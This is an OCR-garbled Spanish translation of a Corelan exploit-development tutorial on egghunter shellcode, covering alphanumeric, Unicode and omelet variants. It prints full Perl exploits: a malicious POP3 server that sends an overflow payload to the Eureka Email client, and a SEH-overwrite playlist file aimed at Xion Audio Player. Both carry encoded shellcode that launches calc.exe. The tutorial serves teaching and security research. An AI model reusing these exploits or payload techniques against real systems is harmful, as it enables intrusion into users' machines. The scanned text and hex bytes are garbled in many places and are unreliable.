obtener su complemento de 2’s (tomar todos los ibitertirlos, y afadir
uno), usando la calculadora de Windows, configUraldex/dword y
calcula “0O - valor”. Para la dltima linea del caaligel cazador de huevos
(OX75E7FFE7 -> OXE7FFET775) esto seria 0x1800188B-(E7FFE775).
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Entonces hay 3 valores que sélo utilizan caractaifasumeéricos (ASCII

imprimibles), y no estan utilizando cualquiera @s lcaracteres malos
(\x40 \x3F \x3A \x2F) y cuando sumas estos 3 valogele deben terminar
en el valor de complemento de 2's (0x1800188B eragb de la Ultima
linea) de nuevo. Por cierto, gracias Ekse por jaabeonmigo para

encontrar los valores de la lista de ab&gEso fue divertido!

Los 3 valores resultantes son los que deben uskzan las instrucciones
SUB EAX, <....>.

Puesto que los bytes seran PUSHeados a la priastopie comenzar con la
dltima linea del primer cazador de huevos (y nolvales de invertir los
bytes del cddigo). Asi que después del ultimo P@S&alpila, los primeros
bytes del cazador de huevos se encuentran en ESP.

Para Calcular los 3valores, suelo hacer esto:
Calcular el complemento de 2°s de los bytes imesti

Comenzar con los primeros bytes en complemento’se (28 en este
caso), y buscar los 3 valores que, al sumarloslasel8. Es posible que
tengas que provocar un desbordarmiento para hacerdoonar (debido a
gque estads limitado a los caracteres ASCIl imprieghl Asi que

simplemente utilizando 06 + 06 + 06, no funcionaoague 06 no es un
caracter valido. En ese caso, necesitamos desbernlan 118. Yo suelo
comenzar por tomar un valor entre 55 (3 x 55 = Guakevo) y 7F (Gltimo

caracter). Tomemos, por ejemplo 71. La suma 71 = ER. Para obtener
de E2 a 118, hay que sumarle 36, que es un canadtdo, por lo que

hemos encontrado nuestros primeros bytes. Estoepouedser el método
mas eficiente para hacer esto, pero funciona.

Tip: en la calculadora de Windows, escribe el valerbyte que deseas
obtener, lo dividimos entre 3 para saber en qua aeeesitas empezar a
buscar.

Luego haz lo mismo para los préximos 3 bytes enptemento de 2°s.

Nota: si tienes que desbordar para llegar a umr daerminado, esto puede
influir en los bytes siguientes. Sélo tienes quaaulos 3 valores juntos al
final, y si tenias un exceso de capacidad, tienesrgstar uno de nuevo a
partir de uno de los siguientes bytes en uno d8 ladores. Sélo inténtalo,
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veras lo que quiero decir. Y sabras por qué ektaralor comienza con 35
en lugar de 36.

La dltima linea del cazador de huevos (original):

X75 XE7 XFF XE7 -> XE7 XFF XE7 x75: (2’'s complement : 0x1800188B)

sub eax, 0x71557130  (=> "\x2d\x30\x71\x55\x71") (Reverse again !)
sub eax, 0x71557130 (=> "\x2d\x30\x71\x55\x71")

sub eax, 0x3555362B  (=> "\x2d\x2B\x36\x55\x35")

=> sum of these 3 values is 0x11800188B (or 0x1800 188B in dword)

Echemos un vistazo a los otros. Segunda linea |tglolcazador de de
huevos (original):

XAF x75 XEA XAF -> xAF XEA x75 XAF: (2's complement : 0x50158A51)
sub eax, 0x71713071

sub eax, 0x71713071
sub eax, 0x6D33296F

Y asi sucesivamente:

x30 x74 x8B XFA -> xFA x8B x74 x30: (2’s complement : 0x05748BDO0)

sub eax, 0x65253050
sub eax, 0x65253050
sub eax, 0Ox3B2A2B30

XEF xB8 x77 x30 -> x30 x77 xB8 xEF: (2’s complement : OXCF884711)
sub eax, 0x41307171

sub eax, 0x41307171

sub eax, 0x4D27642F

X3C x05 x5A x74 -> x74 x5A x05 x3C: (2's complemen t : OXBBASFAC4)
sub eax, 0x30305342

sub eax, 0x30305341
sub eax, 0x2B455441

x02 x58 XCD x2E -> x2E xCD x58 x02: (2's complement : 0OXD132A7FE)

sub eax, 0x46663054
sub eax, 0x46663055
sub eax, 0x44664755

XOF x42 x52 x6A -> x6A x52 x42 x0F: (2's complement : OX95ADBDF1)
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sub eax, 0x31393E50

sub eax, 0X32393E50
sub eax, 0x323B4151

Finalmente, la primera linea:

X66 x81 xca xff -> xff xca x81 x66 (2's complement : OX00357E9A)

sub eax, 0x55703533
sub eax, 0x55702533
sub eax, 0x55552434

Cada uno de estos bloques debe ser precedido pddigio que pondra
EAX a 0:

Ejemplo:

AND EAX,554E4D4A ("\x25\x4A\x4D\x4E\x55")

AND EAX,2A313235 ("\x25\x35\x32\x31\x2A")

(2 bytes x 5)

Cada blogue debe estar seguido por un PUSH EAXo(te, "\x50") la
instruccion que pondra el resultado (una sola ldeeeddigo del cazador de
huevos) en la pila. No te olvides de eso, o tudazde huevos codificado
no se colocara en la pila.

Por lo tanto: cada bloque sera 10 (EAX a 0) + lécddificacion) + 1
(PUSH EAX) = 26 bytes. Contamos con 8 bloques|@gue tenemos 208
bytes ya.

Ten en cuenta, al convertir las instrucciones SW& Evalor> a opcode
no te olvides de invertir los bytes de los valatesnuevo. Asi que, SUB
EAX, 0x476D556F se convertiria en "\x2D \x6f \x%&d \x47."

Lo siguiente que tenemos que hacer es asegurauwslqcazador de
huevos decodificado sea ejecutado después de $idbeeproducido.

Para ello, tenemos que escribir en un lugar prbliegi saltar a el, o
tenemos que escribir directamente después del mazadificado por lo
gue se ejecuta automaticamente.
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Si podemos escribir en un lugar predecible (pongogemos modificar
ESP antes de que se ejecute el cazador codificgdsi),podemos ir al
principio del cazador decodificado (ESP) despuésqde el cazador
codificado se ha completado, pues, no tendras nipgablema.

Por supuesto, si el conjunto de caracteres eslimitentonces no podras
agregar un "JMP ESP", "PUSH ESP/RET" ni nada de akdinal del
cazador codificado. Si puedes. Entonces eso elsuera noticia.

Si eso no es posible, entonces tendras que eselibeizador de huevos
decodificado inmediatamente después de la versidlificada. Asi que

cuando la version codificada detenga la reproduacde& codigo original,

comenzaria ejecutandolo. Para hacer esto, tenem®scalcular donde
debemos escribir el cazador de huevos decodificAdbemos el niumero
de bytes en el cazador de huevos codificado pguédebemos tratar de
modificar ESP en consecuencia (y hacerlo antesude el proceso de
decodificacion comienza) de modo que los bytesdiBcados se escriban
directamente después de cazador de codificado.

La técnica utilizada para modificar ESP dependedejunto de caracteres
disponibles. Si s6lo se pueden utilizar caractek&Cll imprimibles,
entonces no puedes utilizar las operaciones ADDB S&J MOV.
Un método que puede funcionar es ejecutando uma dgerinstrucciones
POPAD para cambiar ESP y hacerlo apuntar por deadelj@xtremo del
cazador codificado. Quizas tengas que agregar @ghi®P’S al final del
cazador codificado so6lo para estar en el lado sedx41 funciona bien
como NOP cuando se tiene que utilizar caractere€llABnprimibles
solamente).

Empaca todo, y esto es lo que obtienes:
Caddigo para modificar ESP (POPAP) + el cazadorfuadio (8 bloques:
salida de EAX a 0, reproducir cédigo, PUSHear apdar) + algunos

NOP’S si es necesario.

Cuando se aplica esta técnica al exploit Eurekd ®lant, obtenemos lo
siguiente:

Socket;
#fill out the IP or hostname
#which is used by Eureka EMail as 3 server

#note : must be exact match !
$localserver =" 192.168.0.193
#calculate to EIP
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$junk ="
$ret=
$padding ="

A" x (723 - ($localserver));
('V',0x7TE47BCAF); #jmp esp from user32.dll
\x90 " x 1000;

#alphanumeric ascii-printable encoded + bad chars

# tag = wOOt
$egghunter =

#popad - make ESP point below the encoded hunter
"\X61\x61\x61\x61\x61\x61\x61\x61

"\x25\x4A\x4D\x4E\x55
" \x25\x35\x32\x31\x2A
"\x2d\x30\x71\x55\x71
"\x2d\x30\x71\x55\x71
"\x2d\x2B\x36\x55\x35
"\x50 ". #
#
"\x25\x4A\x4D\x4E\x55
"\x25\x35\x32\x31\x2A
"\x2d\x71\x30\x71\x71
"\x2d\x71\x30\x71\x71
"\x2d\x6F\x29\x33\x6D
"\x50 ". #
#
"\x25\x4A\x4D\x4E\x55
" \x25\x35\x32\x31\x2A
"\x2d\x50\x30\x25\x65
"\x2d\x50\x30\x25\x65
"\x2d\x30\x2B\x2A\x3B
"\x50 ". #
#
"\x25\x4A\x4D\x4E\x55
" \x25\x35\x32\x31\x2A
"\x2d\x71\x71\x30\x4 1
"\x2d\x71\x71\x30\x4 1
"\x2d\x2F\x64\x27\x4d
"\x50 ". #

#

™

"\x25\x4A\x4D\x4E\x55
"\x25\x35\x32\x31\x2A
" \x2d\x42\x53\x30\x30

" \x2d\x41\x53\x30\x30

"\x2d\x41\x54\x45\x2B

"\x50 ". #

#H

T

"\x25\x4A\x4D\x4E\x55
" \x25\x35\x32\x31\x2A
"\x2d\x54\x30\x66\x46

"\x2d\x55\x30\x66\x46

"\x2d\x55\x47\x66\x44

"\x50 ". #

#

™

"\x25\x4A\x4D\x4E\x55
"\x25\x35\x32\x31\x2A
"\x2d\x50\x3e\x39\x31
"\x2d\x50\x3e\x39\x32
"\x2d\x51\x41\x3b\x32
"\x50 ". #

#H

T

"\x25\x4A\x4D\x4E\x55

#zero eax
#
#X75 XE7 XFF XE7

#zero eax
#
#XAF x75 XEA XAF

#zero eax
#
#x30 x74 x8B xFA

#zero eax
#
#XEF xB8 x77 x30

#zero eax
#
#x3C x05 x5A x74

#zero eax
#
#x02 x58 XCD x2E

#zero eax
#
#XO0F x42 x52 x6A

#zero eax
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"\x25\x35\x32\x31\x2A . #
"\x2d\x33\x35\x70\x55 . #x66 x81 XxCA xFF
"\x2d\x33\x25\x70\x55

"\x2d\x34\x24\x55\x55

"\x50 ". #

#H
"\x41\x41\x41\x41 ; #some nops

#calc.exe
$shellcode=" \x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x4 9\x49 "

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x3 0\x56
" \x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x3 0\x41
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x4 2\x42
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4 c\x4a
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x4 7\x3 5\x47
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4 f\x4c

"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x4 7\x50\x43\x3 1\x4a
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4 e\x50
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x4 4\x43
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4 b\x4a
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x5 5\x4c
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4 b\x44
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4 b\x4c
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4 c\x47
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x5 0\x50
"\x56\x45\x34\x4c\x4b\x4 7\x36\x50\x30\x4c\x4b\x51\x5 0\x44
" \x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x3 8\x43
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x5 0\x42
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x3 8\x4b
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x4 3\x45
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41 "

$payload=$junk.$ret.$egghunter.$padding." wO0twO0O0t ".$shellcode;

#set up listener on port 110
$port=110;
$proto= (‘tcpY);
(SERVER,PF_INET,SOCK_STREAM,$proto);
$paddr=sockaddr_in($port,INADDR_ANY);
(SERVER,$paddr);
(SERVER,SOMAXCONN);
" [+] Listening on tcp port 110 [POP3]... \
" [+] Configure Eureka Mail Client to connect to this host\n "
$client_addr;
while($client_addr= (CLIENT,SERVER))
{
" [+] Client connected, sending evil payload\n
$cnt=1;
while($cnt<10)

CLIENT" -ERR "$payload." \n";
" ->Sent " ($payload)." bytes\n
$cnt=$cnt+1;

CLIENT;
" [+] Connection closed\n
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. Command

8 il -
o act to this host ® Eureka Email - Peter

File Edit Email Options Help

In | Ot | Junk |Search|
9-Jan-2010

hd -
fr:

Eureka Email
Walcome!

s 12

10| x|
orelan_eu !
WG e
R it e Hel
| 0,
‘f‘ Hex * Dec ¢ Oct © Bin (% Degrees  ( Radians ¢ Grads ‘
‘r [ ™ Hyp ‘ I I Eackspace CE | C |
Sta FE | [ | | | T | 7 | 2 g | ! | Mod | And
e dmsz | Exp | I kR | 4 | a3 | E | - | Or | o
Surn 3ih “w | log S | 1 | 2 | 3 | - | Lsh | Mot
H | cop | 73 il fd+ 0 +- | + = | Int
Dat tan | ®"2 | 1% | pi | & | B | C | i} | E | F |

Puedes 0 no utilizar este codigo en tu propio explespués de todo, este
codigo fue hecho a mano y con base a una lista dedaracteres malos.
Se necesitaron offsets para terminar escribiendkpusds del cazador
codificado y asi sucesivamente.

Sélo ten en cuenta que este coédigo serd mucho angs, Ipor lo que
tendras un buffer mas grande que el cazador deokueviginal/sin
codificar. El codigo que he utilizado es de 22@byt
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¢, Qué tal si tu Payload esta sujeto a la conversidmnicode?
(iTodos tus 0OBBOOAAOOS500EE nos pertencecen!)

iBuena pregunta!

Bueno, hay dos escenarios donde puede haber uma fde hacer este
trabajo:

Escenario 1 Una version ASCII del Payload se puede encominaalgin
lugar de la memoria.

Esto sucede a veces y vale la pena mientras sstiggweCuando los datos
son aceptados por la aplicacion en ASCII, y almades en la memoria
antes de que se conviertan en Unicode, entoncetepiser almacenados
todavia y disponibles en la memoria cuando haydesbordamiento.

Una buena manera de saber si tu Shellcode estaniitgp en ASCII es
escribiendo la Shellcode en un archivo, y utileldpvefindaddr compare
<nombre_de_archivo> Si la Shellcode puede ser encontrada, y si no es
modificada, dafada o convertida a Unicode en la on@mel script te lo
reportara.

En ese caso, tendrias que:

- Convertir el cazador de huevos en Shellcode vanag conseguir que la
ejecute. El cédigo del cazador de huevos va a sehonmas grande de lo
que era cuando era solo ASCII por lo que el espdeiouffer disponible es
importante.

- Poner tu Shellcode real (antepuesta al marcagloralgun lugar de la
memoria. El marcador y la Shellcode deben estAS£il.

Cuando el cazador de huevos veneciano entra ednacsimplemente
buscaria la version ASCII de la Shellcode en meangio ejecutaria. Fin
del juego.

Convertir el cazador de huevos en Shellcode vemaas tan facil como
poner el cazador de huevos (incluyendo la etiqueta)n archivo, y usar
de alpha2 o el recientemente lanzado alpha3 (poiliséd)) para
convertirlo en Unicode. Mas 0 menos como expliquéneanterior tutorial
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sobre UnicodeCreacion de Exploits 7: Unicode. De 0x00410041 a |
Calc por corelanc0d3r traducido por Ivinson.pdf

http://www.mediafire.com/?78ibmzj44yjprcr

Descargar alpha3ttp://code.google.com/p/alpha3/

En caso de que estés demasiado cansado para laagartmo, esta es una
version Unicode del cazador de huevos, utilizan@0tveomo etiqueta, y
usando EAX como registro base:

#Corelan Unicode egghunter - Basereg=EAX - tag=wO00t
$egghunter =" PPYAIAIAIAIAQATAXAZAPA3QADAZ.
" ABARALAYAIAQAIAQAPASAAAPAZIAILAIAIAJLILIAIAIAX .

" ASBAAPAZABABQILAIQIAIQI1111AIAIQITIAYAZBABABA "
" BAB30APB944JBQVE1HIJKOLOPBORBJLBQHHMNNOLMSPZ4
" 4JO7H2WPOPOT4TKZZFOSEZJ60OTSK7KO9WA

Lo bueno de los cazadores de huevos Unicode essgumés facil ajustar la
posicion de inicio del cazador de huevos donde oaard la busqueda, si
fuera necesario.

¢, Recuerdas cuando hablamos de esto anteriormentel? h8evo + la
Shellcode se pueden encontrar en la pila, entgp@squé buscar a través
de grandes trozos de memoria si podemos encontenda de donde esta
el cazador de huevos. Lo bueno es que se puedeuareadigo cazador de
huevos que contenga bytes nulos, porque estosmytssran un problema.

Asi que si deseas reemplazar "\x66 \x81 \xca \xBF"\ por "\x66 \x81
\xca \x00 \x00" para influir en la posicién de ioicel cazador, entonces,
adelante. De hecho, esto es lo que hice cuandoetimzador de huevos
Unicode no porque tuviera que hacerlo, sino simphgm porque queria
probar.

Escenario 2 Payload Unicode solamente.

En este escenario, no se puede controlar el colotel® la memoria con la
Shellcode ASCII, asi que basicamente todo es Uaicod

Todavia es factible, pero tomara un poco mas dapteconstruir un
exploit funcional.
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En primer lugar, aun necesitas un cazador de hugrnm®de, pero tendras
gue asegurarte de que la etigueta o marcador seaddnamigable,
también. Después de todo, tienes que poner la ettigantes de la
Shellcode real (y esta etiqueta sera unicode).

Ademas de eso, tendras que alinear los registresc@s: una vez para
ejecutar el cazador de huevos, y luego una sequerjantre la etiqueta y
la Shellcode real (para que puedas decodificah&l&®de real también).
Asi que, en resumen:

- Desencadena el desbordamiento y reorienta la@fata

- El codigo que alinea el registro y aflade algoetleno, si es necesario, y
luego salta a

- La Shellcode Unicode que se auto-decodifica gutge el cazador de
huevos que lo haria

- Buscaria una etiqueta doble en la memoria (lpaatio el huevo -
Unicode amigable) y luego:

- Ejecutaria el cddigo justo después de la etique@ tendria que:
- Alinear el registro de nuevo, afiadir un pocoeleno, y luego:

- Ejecutar la Shellcode Unicode (real) (que se diicara y ejecutara la
Shellcode final de nuevo).

Basicamente, necesitamos construir un cazador eeolweneciano que
contenga una etiqueta, que pueda ser utilizadagmdeponer la Shellcode
real, y sea Unicode amigable. En los ejemplos inés; he utilizado w00t
como etiqueta, que en hexadecimal es 0x77, 0x380,00x74 (= wOOt

invertido debido a little endian). Asi que, si dgg@iamos reemplazar el
primer y tercer byte con bytes nulos, se convartn 0x00, 0x30, 0x00,
0x74 (0, en ASCII: t - nulo - 0 - nulo).
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Un pequeiio script que escribira el cazador de uernain formato binario
a un archivo seria:

#!/usr/bin/perl

# Little script to egghunter shellcode to file

# 2 files will be created :

# - egghunter.bin : contains wO0Ot as tag

# - egghunterunicode.bin : contains 0x00,0x30,0x00, 0x74 as tag
#

# Written by Peter Van Eeckhoutte

# http:  //www.corelan.be:8800

#

$egghunter =
"\x66\x81\XCA\XFF\XxOF\x42\x52\x6 A\x02\x58\xCD\x2E\x3 C\XO5\x5A\X74\XEF\
xB8".
"\x77\x30\x30\x74 ". # Este es el marcador/etiqueta wOOt.
" \X8B\XFA\XAF\X75\XEA\XAF\x75\XxE7\XxFF\XE7

" Writing egghunter with tag wOOt to file egghunter.b
(FILE," >egghunter.bin ");

FILE $egghunter;

(FILE);

" Writing egghunter with unicode tag to file egghunte r.bin..\n
(FILE," >egghunterunicode.bin ");

FILE" \x66\X81\XCA\XFF\X0F\x42\x52\x6A\X02\x58\xCD\x2E\x3 (O

FILE" \xO5\x5A\Xx74\xEF\xB8

FILE" \x00 "; #null

FILE" \x30 "; #0

FILE" \x00 "; #null

FILE" \x74 "; #t

FILE" \x8B\XFA\XAF\X75\XxEA\XAF\X75\XE7\XFF\XE7

(FILE);

Como puedes ver, también escribird el cazador @&dsuASCIl en un
archivo. Puede ser util algun dia.

Ahora, convierte ekgghunterunicode.binen Shellcode veneciana:

Jalpha2 eax --unicode --uppercase < egghunterunico de.bin
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPASARAZ1AI
1AIAIAJ11AIAIAXASBAAPAZABABQILAIQIAIQI1111AIAIQIIAY AZBABA

BABAB30APB944JBQVSQGZKOLOORB2BJLBOXHMNNOLLEPZ3DKPERKP
RT4KZZVO2UJJ60ORUJGKOK7A

Cuando se construye el Payload Unicode, es necgsamer la cadena de
la etiqueta compatible con Unicode antes de lal@id real (Unicode):
"0tOt" (sin las comillas por supuesto). Cuando estdena se convierte a
Unicode, quedaria asi: 0x00 0x30 0x00 0x74 0x0000x800 0x74 y
corresponde con el marcador que se puso en elaradachuevos antes de
que fuera convertida a Unicode. Ver script anterior
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Entre esta etiqueta OtOt y la Shellcode real (vana¢ que debe colocarse
después del marcador, es posible que tengas qué ilacalineacion del
registro. De lo contrario, el decodificador venaciano va a funcionar.
Si, por ejemplo, has convertido tu Shellcode re&@halicode veneciana
utilizando EAX como registro base, tendras que hace el inicio del
decodificador apunte al registro de nuevo. Si badolel tutorial 7, sabras
de lo que estoy hablando.

En la mayoria de los casos, el cazador de huevpsn@ra la direccion de
la pila actual en EDI (porque utiliza ese regisfpara realizar un
seguimiento de la ubicacién de la memoria dondstitpeta del huevo se
encuentra. Inmediatamente después de que la etigeeencuentra, este
registro apunta al dltimo byte de la etiqueta). 4gé, seria trivial (por
ejemplo) mover EDI a EAX y aumentar EAX hasta queide a la
direccién donde se encuentra la Shellcode veneaammdificar s6lo EDI
(y usar la Shellcode veneciana generada usandacd&Dd registro base).

La primera instruccion para la alineacibn comenzzoa el byte nulo
(porque ese es el ultimo byte de la etiqueta devé30 00 74 00 30 00 74
00) que hemos utilizado. Asi que, tenemos gueanlaialineacién con una
instruccion que tiene el formato 00 xx 00. 00 6df@dcionaria (y otros
también funcionaran).

Nota: asegurarte de que el decodificador para &lcslde veneciana no
sobrescriba cualquier cazador de huevos o los kBuewosi, ya que,
obviamente, se rompera el exploit.

Vamos a ver si la teoria funciona.

Usaremos la vulnerabilidad ewon audio player 1.0 build 121de nuevo
(ver tutorial 7) para demostrar que esto realmdmbeiona. No voy a
repetir todos los pasos para construir el explodligeaciones, pero he
incluido algunos detalles al respecto dentro dgllaéx del script en si.
Construir, leer y usar esta vulnerabilidad requmuwe domines realmente
las cosas explicadas en el tutorial 7. Asi que®mtiendes, te recomiendo
que leas el tutorial 7 primero o salta este expjoipasa al siguiente
capitulo.

# [*] Vulnerability : Xion Audio Player Local BOF
# [*] Written by : corelanc0d3r (corelancOd3r[atj]gm ail[dot]com)

# Exploit based on original unicode exploit from tu torial part 7
# but this I'm using a unicode egghunter, just for phun !
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#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
$sploitfile=" corelansploit.m3u "
$junk ="  \x41 "x 254; # until we hit SEH
$nseh=" \x58\x48 "; #put something into eax - simulate nop
$seh=" \xf5\x48 "; #ppr from xion.exe - unicode compatible
# will also simulate nop when executed
# after p/p/r is executed, we end here
# in order to be able to run the unicode decoder
# we need to have eax pointing at decoder stub
# we'll make eax point to buffer
# we'll this by putting ebp in eax and then increase eax
# until it points to egghunter
#first, put ebp in eax ( / )
$align="  \x55 "; # ebp
$align=%$align." \x6d "; #align/nop
$align=$align." \x58 "; # eax
$align=$align." \x6d "; #align/nop
#now increase the address in eax so it would point buffer
$align = $align." \x05\x10\x11 "; #add eax,11001300
$align=%$align." \x6d "; #align/nop
$align=$align." \x2d\x02\x11 "; # eax,11000200
$align=$align." \x6d "; #align/nop
#eax now points at egghunter
#ump to eax now
Sjump=" x50 "; # eax
$jump=$jump.” \x6d "; #nop/align
$jump=$jump.” \xc3 "; #ret
#fill the space between here and eax
$padding=" A" x 73;
#this is what will be put at eax :
$egghunter =" PPYAIAIAIAIAQATAXAZAPA3QADAZA.
"BARALAYAIAQAIAQAPASAAAPAZ1AILAIAIAJL1AIAIAXA .
" 58AAPAZABABQI1AIQIAIQI1111AIAJQILAYAZBABABAB ".
" AB30APB944JB36CQ7ZKPKPORPR2JM2PXXMNNOLKUQJRT
" ZOVXKPNPMORT4KKJ60ORUZJFO2U9WKOZGA

# - ok so far the exploit looks the same as the one used in tutorial 7
# except for the fact that the shellcode is the uni code version of
# an egghunter looking for the " 0tot " egg marker

# the egghunter was converted to unicode using eax as basereg

#

# Between the egghunter and the shellcode that it s hould look for

# I'll some garbage (a couple of X's in this case)

# So we'll pretend the real shellcode is somewhere out there

$garbage =" X" x 50;

# real shellcode (venetian, uses EAX as basereg)
# will spawn calc.exe

$shellcode=" PPYAIAIAIAIAQATAXAZAPA3QADAZA.
"BARALAYAIAQAIAQAPASAAAPAZ1AILAIAIAJLLAIAIAX .
" AS8AAPAZABABQIL1AIQIAIQI1111AIAIQIIAYAZBABAB ".
" ABAB30APB944JBKLKSOTKPKPMODKOUOLTKSLM5SHKQJ
" O4KOOLXTKQOMPKQZKOYTKP44KM1ZNNQYOV96L3TWPT4
" KW7QHILMKQWRZKLAOKQDNDKTBUIUTK1004KQJKIVTKL
" LPK4AK1OMLM1ZKAKMLTKKQJKSY1LMTKTGSNQWPRDTKOP
"NPUS5902XLLTKOPLLDK2PMLFMTKQXM8JKM94K3P6PNMOK
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" PKP4KQXOLQONQL6QPPV59KH53GP3KOPQXJPDIM4QO2H

" 68KN4JLNOWKOK7QSC1RLQSKPA

# between the egg marker and shellcode, we need to align

# so eax points at the beginning of the real shellc ode
$align2 =" \x6d\x57\x6d\x58\x6d " #nop, edi, nop,

nop

$align2 = $align2." \xb9\x1b\xaa "; #mov ecx, 0xaa001b00

$align2 = $align2." \xe8\x6d "; #add al,ch + nop (increase eax with

1b)

$align2 = $align2." \x50\x6d\xc3  "; # eax, nop, ret

#eax now points at the real shellcode

#fill up rest of space & trigger access violation
Sfiller = (" \xcc " x (15990- ($shellcode)));

#payload
$payload = $junk.$nseh.$seh.$align.$jump.$padding. $egghunter;
$payload=3$payload.$garbage." 0tot ".$align2.$shellcode.$filler;

(myfile,"  >$sploitfile ");
myfile $payload,;
" Wrote ". ($payload)." bytes to $sploitfile\n
(myfile);
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iPwneado!

Nota: si el tamafo es realmente un problema (par&hlelicode final),

puedes hacer que la alineacion del cédigo sea mremide bytes mas
corto mediante el uso de lo que ya esta en EDlugar de utilizar EAX

como registro base. Por supuesto este caso esariecpara generar la
Shellcode. Utilizando EDI como registro base, yawlo las instrucciones
PUSH + RET. Podrias simplemente hacer que EDI apara direccion

inmediatamente después de la ultima instrucciéraloheacion con unas
sencillas instrucciones.
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Otro ejemplo de cddigo cazador de huevos Unicoderfeciano) se puede
encontrar aquittp://www.pornosecurity.org/blog/exploiting-bittent
Demo enttp://www.pornosecurity.org/bittorrent/bittorremiml

Algunos consejos para depurar este tipo de explgtdo Immunity
Debugger:

Se trata de un exploit de SEH, por lo que cuandml&acion se bloquee,
ve donde esta la cadena de SEH y ponle un BP.|®asaepcion (Shift
F9) la aplicacion para por el BP. En mi sistema,céalena SEH se
encuentra en 0x0012f2ac.

BE12ESEE

SI#Z+7EACAE4E], EH

|bp 001212ac
{[23:50: 44]Breakpaint at 001 2F24C |

Traza las instrucciones (F7) hasta que veas qdecsldificador comience
la decodificacion del cazador de huevos y escrémm ihstrucciones
originales en la pila.

43
)
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En mi caso, el decodificador comenz6 a escribicadador de huevos
original en 0x0012f460.

Tan pronto como vi la primera instruccion en 0xda62 (que es 66 81
CAy asi sucesivamente), puse un BP en 0x0012f460.

Bucle del decodificador.

Aqui, vemos las primeras 2
instrucciones del cazador de
huevos siendo reproducido

por el decodificador.

Hddrezs |Hex

Luego, presiona CTRL + F12. La aplicacion pararagd®BP y aterrizara
en 0x0012f460. El cazador de huevos original alestad recombinado y
comenzara a buscar el marcador.
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*FF Frec MEAR,53 Mask 1 1

Este es el codigo que busca el
marcador 74 00 30 00 en la
memoria (en nuestro caso).

Si llegas aqui, entonces jel
huevo ha sido encontrado!

Hi 1 2E455

4BREACTE
DEC

bp 00121478
i23:5?:DB]B'reakaint at 001:2F460

En 0x0012f47b (ver imagen), vemos la instruccioe s@ ejecutara cuando
el huevo haya sido encontrado. Pon un nuevo B@0@f47b y presiona
CTRL-F12 otra vez. Si terminas en el BP, entondebuevo ha sido
encontrado. Presione F7 (traza) de nuevo paratafetas instrucciones
siguientes hasta que el salto a EDI sea hechoaZdor de huevos ha
puesto la direccion del huevo en EDI y JMP EDI ahredirige el flujo en
esa ubicaciéon. Cuando el JMP EDI se ejecute, tammis en el ultimo
byte del marcador.

Aqui es donde nuestro segundo codigo de alineasdouesto. Hara que
EAX apunte a la Shellcode (Stub del decodificagogntonces realizara el
PUSH EAX+RET.
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El cédigo de alineacién
de $align2 hace que
EAX apunte a Ia
Shellcode y la ejecute.

Inicio de la Shellcode
real (veneciana).
L El decodificador
recombinari el codigo

original y lo ejecutara
(Calc.exe).
iPWNEADO!

Cazador de Huevos de Tortilla.
iTodos los huevos, incluso los rotos, nos
pertenecen!

¢Eh? ¢ Huevos rotos? ¢, Qué dices?

Imagen agregada por Ivinson. Cortesidntie://www.holytaco.com/25-egg-sharpie-faces/
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¢, Qué sucede si te encuentras en una situaciéngee klalmente no tienes
una gran cantidad de espacio de memoria para dloj8hellcode, pero
tienes varios espacios mas pequefios disponiblestmtados por ti?

En este escenario, dictado por la fragmentacida &hnellcode una técnica
llamada Caceria de Huevos de Tortilla puede fumcion

En esta técnica, Tienes que dividir la shellcodal en pedazos mas
pequenos, entregar las trozos a la memoria, y pemenarcha el cédigo
del cazador que buscaria todos los huevos, losntenanaria entonces, y
haria una tortilla, eehh.. Quiero decir ejecuti@hellcode recombinada.

El concepto béasico detras del cazador de huevtxiila es mas o menos
lo mismo que con los cazadores de huevos regulaees hay 2 diferencias
principales:

- La Shellcode final se divide en trozos (= huewstiples).

- La Shellcode final es recombinada antes de seutgda, por lo que no es
ejecutada directamente después de que haya sidoteua.

Ademas de eso, el codigo cazador de huevos (o @wddbgtortilla) es
significativamente mas grande que un cazador deolsugrmal (alrededor
de 90 bytes vs entre 30 y 60 bytes para un cazidiouevos normal)

Esta técnica fue documentada por SkyLined (BerandAlever) aqui:

http://skypher.com/wiki/index.php/Hacking/Shellcddeq hunt/w32 SEH
omelet shellcode

Los archivos de Google Projects se pueden encautar

http://skypher.com/wiki/index.php/Hacking/Shellcddeq hunt/w32 SEH
omelet shellcode

Cita de Berend-Jan:

“Es similar a la Shellcode cazadora de huevos, peugcara mudiltiples
huevos mas pequeiios en el espacio de direccionesseteland, los
recombinara en un bloque méas grande de Shellcddesjecutara. Esto es
atil en situaciones donde no se puede inyectar lague de tamafio
suficiente en un proceso victima para almacenashellcode en una sola
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pieza, pero se pueden inyectar varios bloques regagios y ejecutar uno
de ellos.”

¢, Como funciona?
La Shellcode original debe ser dividida en partas pequefias/huevos.
Cada huevo debe tener un encabezado que contenga:
- La longitud del huevo.
